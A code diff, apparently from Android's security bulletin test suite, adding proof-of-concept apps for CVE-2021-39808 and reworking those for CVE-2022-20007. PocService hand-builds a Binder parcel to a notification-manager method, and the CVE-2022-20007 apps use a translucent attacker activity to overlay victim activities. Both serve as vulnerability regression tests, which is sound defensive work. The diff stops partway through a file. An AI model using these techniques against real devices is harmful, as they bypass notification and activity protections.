@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39808;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testService() {
+ try {
+ Context context = getApplicationContext();
+ Intent intent = new Intent(context, PocService.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ context.startService(intent);
+ SharedPreferences sh = context.getSharedPreferences(
+ context.getString(R.string.sharedPreference),
+ Context.MODE_APPEND);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(
+ SharedPreferences sharedPreferences, String key) {
+ if (key.equals(context.getString(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key, 0) == context
+ .getResources().getInteger(R.integer.pass)) {
+ preferenceChanged.release();
+ }
+ }
+ }
+ };
+ sh.registerOnSharedPreferenceChangeListener(listener);
+
+ preferenceChanged.tryAcquire(
+ context.getResources().getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS);
+
+ int result = sh.getInt(context.getString(R.string.resultKey),
+ context.getResources().getInteger(R.integer.pass));
+ String message = sh.getString(context.getString(R.string.messageKey),
+ context.getString(R.string.passMessage));
+ assumeTrue(message, result != context.getResources()
+ .getInteger(R.integer.assumptionFailure));
+ assertNotEquals(message, result,
+ context.getResources().getInteger(R.integer.fail));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java
new file mode 100644
index 0000000..73b0df4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39808;
+
+import android.app.INotificationManager;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.ServiceManager;
+import android.text.TextUtils;
+
+import java.lang.reflect.Method;
+
+public class PocService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onCreate() {
+ try {
+ super.onCreate();
+ setResult(getResources().getInteger(R.integer.fail),
+ getResources().getString(R.string.vulnerableMessage));
+ createNotificationGroup();
+ } catch (Exception e) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ e.getMessage());
+ }
+ }
+
+ void createNotificationGroup() throws Exception {
+ IBinder binder = ServiceManager
+ .getService(getResources().getString(R.string.notification));
+ int serviceId = getTransactionCode(
+ getResources().getString(R.string.functionName));
+ if (serviceId == -1) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.errorNoMethodFound));
+ return;
+ } else if (serviceId == -2) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.errorTargetMethodNotFound));
+ return;
+ }
+ createNotificationGroup(binder, serviceId);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(
+ NOTIFICATION_SERVICE);
+ NotificationChannelGroup notificationChannelGroup = notificationManager
+ .getNotificationChannelGroup(
+ getResources().getString(R.string.groupId));
+ if (!notificationChannelGroup.isBlocked()) {
+ setResult(getResources().getInteger(R.integer.pass),
+ getResources().getString(R.string.passMessage));
+ }
+ }
+
+ int getTransactionCode(String methodName) {
+ int txCode = IBinder.FIRST_CALL_TRANSACTION;
+ String txName = INotificationManager.Stub
+ .getDefaultTransactionName(txCode);
+ if (txName == null) {
+ return -1;
+ }
+ while (txName != null && txCode <= IBinder.LAST_CALL_TRANSACTION) {
+ txName = INotificationManager.Stub
+ .getDefaultTransactionName(++txCode);
+ if (txName.equals(methodName)) {
+ break;
+ }
+ }
+ if (txName == null) {
+ return -2;
+ }
+ return txCode;
+ }
+
+ void createNotificationGroup(IBinder binder, int code) throws Exception {
+ String description = binder.getInterfaceDescriptor();
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ data.writeInterfaceToken(description);
+ data.writeString(this.getPackageName());
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ data.writeString(NotificationChannelGroup.class.getName());
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ data.writeByte((byte) getResources().getInteger(R.integer.setFlag));
+ data.writeString(getResources().getString(R.string.groupId));
+ TextUtils.writeToParcel(getResources().getString(R.string.group), data,
+ getResources().getInteger(R.integer.setFlag));
+ data.writeByte((byte) getResources().getInteger(R.integer.value));
+ data.writeInt(getResources().getInteger(R.integer.falseVal));
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ boolean val = (boolean) binder.transact(code, data, reply,
+ getResources().getInteger(R.integer.value));
+ if (!val) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getResources().getString(R.string.illegalCode));
+ }
+ reply.readException();
+ }
+
+ private void setResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(
+ getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
index 9f7ac84..731eac4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
@@ -23,7 +23,7 @@
android:label="CVE-2022-20007-Attacker"
android:supportsRtl="true">
<activity
- android:name=".PocActivity"
+ android:name=".PocAttackerActivity"
android:exported="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen">
</activity>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
similarity index 95%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
rename to hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
index ad87ea7..988517e 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
@@ -20,7 +20,7 @@
import android.os.Bundle;
import android.view.WindowManager;
-public class PocActivity extends Activity {
+public class PocAttackerActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp
new file mode 100644
index 0000000..98d5962
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20007-Second",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml
new file mode 100644
index 0000000..7880b0f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20007_second"
+ android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2022-20007-Second"
+ android:process="android.security.cts.CVE_2022_20007"
+ android:supportsRtl="true">
+ <activity
+ android:name=".SecondPocActivity"
+ android:exported="true">
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..d327e30
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml
new file mode 100644
index 0000000..e112bcd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="fail">1</integer>
+ <integer name="pass">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml
new file mode 100644
index 0000000..c20d81c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="resultKey2">result2</string>
+ <string name="sharedPreferences">SharedPreferences</string>
+ <string name="testAppPackage">android.security.cts.CVE_2022_20007</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java
new file mode 100644
index 0000000..867da1c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007_second;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+public class SecondPocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ setSharedPreferenes(getResources().getInteger(R.integer.fail));
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+ setSharedPreferenes(getResources().getInteger(R.integer.pass));
+ }
+
+ void setSharedPreferenes(int result) {
+ try {
+ Context testAppContext = createPackageContext(getString(R.string.testAppPackage),
+ Context.CONTEXT_IGNORE_SECURITY);
+ SharedPreferences sh = testAppContext.getSharedPreferences(
+ getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey2), result);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
index 713c0ed..0633c69 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
@@ -32,6 +32,7 @@
static_libs: [
"androidx.test.core",
"androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
index ea78d62..c5dd6b5 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
@@ -17,13 +17,15 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.security.cts.CVE_2022_20007"
+ android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid"
android:versionCode="1"
android:versionName="1.0">
<application
android:label="CVE-2022-20007"
+ android:process="android.security.cts.CVE_2022_20007"
android:supportsRtl="true">
<activity
- android:name=".PocActivity"
+ android:name=".FirstPocActivity"
android:exported="true">
</activity>
<activity
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
index 26b15c2..bdb3775 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
@@ -17,6 +17,9 @@
<resources>
<integer name="assumptionFailure">-1</integer>
- <integer name="pass">0</integer>
<integer name="fail">1</integer>
+ <integer name="pass">0</integer>
+ <integer name="permitCount">2</integer>
+ <integer name="threeActivities">3</integer>
+ <integer name="twoActivities">2</integer>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
index 1368bc2..e9910b7 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
@@ -17,14 +17,22 @@
<resources>
<string name="assumptionFailureMessage">
- Assumption failure occurred.
+ Assumption failure occurred. Bounds :
</string>
+ <string name="attackerActivity">PocAttackerActivity</string>
+ <string name="attackerPkg">android.security.cts.CVE_2022_20007_attacker</string>
+ <string name="boundsNotEqualMessage">Activity bounds are not equal</string>
+ <string name="dumpsysCmd">dumpsys activity %1$s</string>
<string name="failMessage">
Vulnerable to b/211481342!! Race Condition when startActivities() is invoked which can cause
- Not-Paused Background Activity
+ Not-Paused Background Activity. Bounds :
</string>
+ <string name="mBounds">mBounds</string>
<string name="messageKey">message</string>
- <string name="passMessage">Pass</string>
+ <string name="numActivities">numActivities</string>
<string name="resultKey">result</string>
+ <string name="resultKey2">result2</string>
+ <string name="secondActivity">SecondPocActivity</string>
+ <string name="secondPocAppPkg">android.security.cts.CVE_2022_20007_second</string>
<string name="sharedPreferences">SharedPreferences</string>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
index 925da1c..d4828b8 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
@@ -17,18 +17,22 @@
package android.security.cts.CVE_2022_20007;
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static org.junit.Assert.assertNotEquals;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assume.assumeNoException;
import static org.junit.Assume.assumeNotNull;
import static org.junit.Assume.assumeTrue;
-import android.content.ActivityNotFoundException;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -39,6 +43,13 @@
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
private Context mContext = getApplicationContext();
+ private UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+ private boolean mIsVulnerable = true;
+ private boolean mIsVulnerable2 = true;
+ private String mFirstPocActivityBounds = "";
+ private String mSecondPocActivityBounds = "";
+ private String mPocAttackerActivityBounds = "";
+ private SharedPreferences mSharedPrefs = null;
String getStringRes(int key) {
return mContext != null ? mContext.getResources().getString(key) : null;
@@ -48,44 +59,115 @@
return mContext != null ? mContext.getResources().getInteger(key) : null;
}
- @Test
- public void testRaceCondition() throws Exception {
- final long timeoutSec = 20L;
- assumeNotNull(mContext);
+ String getBounds(String activityName) throws Exception {
+ String output =
+ mDevice.executeShellCommand(mContext.getString(R.string.dumpsysCmd, activityName));
+ output = output.substring(output.indexOf(getStringRes(R.string.mBounds)),
+ output.indexOf(")", output.indexOf(getStringRes(R.string.mBounds))) + 1);
+ return output;
+ }
+
+ void launchMainActivity(int numActivities) {
final Intent intent = new Intent(mContext, PocMainActivity.class);
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ intent.putExtra(getStringRes(R.string.numActivities), numActivities);
+ mContext.startActivity(intent);
+ }
+
+ void checkResult(String key) {
+ int result = mSharedPrefs.getInt(key, getIntegerRes(R.integer.assumptionFailure));
+ assumeTrue(
+ getStringRes(R.string.assumptionFailureMessage) + mFirstPocActivityBounds + " "
+ + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+ result != getIntegerRes(R.integer.assumptionFailure));
+ assertFalse(
+ getStringRes(R.string.failMessage) + mFirstPocActivityBounds + " "
+ + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+ mIsVulnerable && result == getIntegerRes(R.integer.fail));
+ }
+
+ @Test
+ public void testRaceCondition() {
+ final long timeoutSec = 30L;
try {
- mContext.startActivity(intent);
- } catch (ActivityNotFoundException e) {
- assumeNoException(e);
- }
- SharedPreferences sharedPrefs = mContext.getSharedPreferences(
- getStringRes(R.string.sharedPreferences), Context.MODE_APPEND);
- assumeNotNull(sharedPrefs);
- final Semaphore preferenceChanged = new Semaphore(0);
- OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
- @Override
- public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
- if (key.equals(getStringRes(R.string.resultKey))) {
- if (sharedPreferences.getInt(key,
- getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
- R.integer.pass)) {
- preferenceChanged.release();
+ assumeNotNull(mContext);
+ launchMainActivity(getIntegerRes(R.integer.twoActivities));
+ mSharedPrefs = mContext.getSharedPreferences(getStringRes(R.string.sharedPreferences),
+ Context.MODE_APPEND);
+ assumeNotNull(mSharedPrefs);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ final Semaphore preferenceChanged2 = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(getStringRes(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key,
+ getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
+ R.integer.pass)) {
+ preferenceChanged.release();
+ mIsVulnerable = false;
+ }
+ } else if (key.equals(getStringRes(R.string.resultKey2))) {
+ if (sharedPreferences.getInt(key,
+ getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
+ R.integer.pass)) {
+ preferenceChanged2.release();
+ mIsVulnerable2 = false;
+ }
}
}
- }
- };
- sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
- try {
+ };
+ mSharedPrefs.registerOnSharedPreferenceChangeListener(listener);
preferenceChanged.tryAcquire(timeoutSec, TimeUnit.SECONDS);
- } catch (InterruptedException e) {
+
+ // Check if attacker activity is able to overlay victim activity
+ mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName());
+ String attackerActivityName = getStringRes(R.string.attackerPkg) + "/."
+ + getStringRes(R.string.attackerActivity);
+ mPocAttackerActivityBounds = getBounds(attackerActivityName);
+ Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds);
+ Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds);
+ boolean isValidConfiguration =
+ mFirstPocActivityBounds.equals(mPocAttackerActivityBounds);
+ if (isValidConfiguration) {
+ checkResult(getStringRes(R.string.resultKey));
+ } else {
+ // Device might have 2 task display areas. Detect vulnerability in this case.
+ mDevice.pressHome();
+ assumeTrue(mDevice.wait(Until.gone(By.pkg(mContext.getPackageName())), timeoutSec));
+ mIsVulnerable = true;
+ mIsVulnerable2 = true;
+ launchMainActivity(getIntegerRes(R.integer.threeActivities));
+ preferenceChanged.tryAcquire(getIntegerRes(R.integer.permitCount), timeoutSec,
+ TimeUnit.SECONDS);
+ preferenceChanged2.tryAcquire(timeoutSec, TimeUnit.SECONDS);
+
+ // check if attacker activity is able to overlay any of the victim activities
+ mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName());
+ String secondActivityName = getStringRes(R.string.secondPocAppPkg) + "/."
+ + getStringRes(R.string.secondActivity);
+ mSecondPocActivityBounds = getBounds(secondActivityName);
+ mPocAttackerActivityBounds = getBounds(attackerActivityName);
+ Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds);
+ Log.e("DeviceTest", "mSecondPocActivityBounds=" + mSecondPocActivityBounds);
+ Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds);
+ isValidConfiguration = mFirstPocActivityBounds.equals(mPocAttackerActivityBounds);
+ boolean isValidConfiguration2 =
+ mSecondPocActivityBounds.equals(mPocAttackerActivityBounds);
+ assumeTrue(
+ getStringRes(R.string.boundsNotEqualMessage) + mFirstPocActivityBounds + " "
+ + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+ isValidConfiguration || isValidConfiguration2);
+
+ if (isValidConfiguration) {
+ checkResult(getStringRes(R.string.resultKey));
+ } else {
+ checkResult(getStringRes(R.string.resultKey2));
+ }
+ }
+ } catch (Exception e) {
assumeNoException(e);
}
- int result = sharedPrefs.getInt(getStringRes(R.string.resultKey),
- getIntegerRes(R.integer.assumptionFailure));
- String message = sharedPrefs.getString(getStringRes(R.string.messageKey),
- getStringRes(R.string.assumptionFailureMessage));
- assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure));
- assertNotEquals(message, result, getIntegerRes(R.integer.fail));
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
similarity index 67%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java
rename to hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
index 038335e..c89986b 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
@@ -21,29 +21,35 @@
import android.content.SharedPreferences;
import android.os.Bundle;
-public class PocActivity extends Activity {
+public class FirstPocActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- setSharedPreferenes(getResources().getInteger(R.integer.fail),
- getString(R.string.failMessage));
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ setSharedPreferenes(getResources().getInteger(R.integer.fail));
}
@Override
protected void onPause() {
super.onPause();
- setSharedPreferenes(getResources().getInteger(R.integer.pass),
- getString(R.string.passMessage));
+ setSharedPreferenes(getResources().getInteger(R.integer.pass));
}
- void setSharedPreferenes(int result, String message) {
- SharedPreferences sh =
- getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
- SharedPreferences.Editor edit = sh.edit();
- edit.putInt(getString(R.string.resultKey), result);
- edit.putString(getString(R.string.messageKey), message);
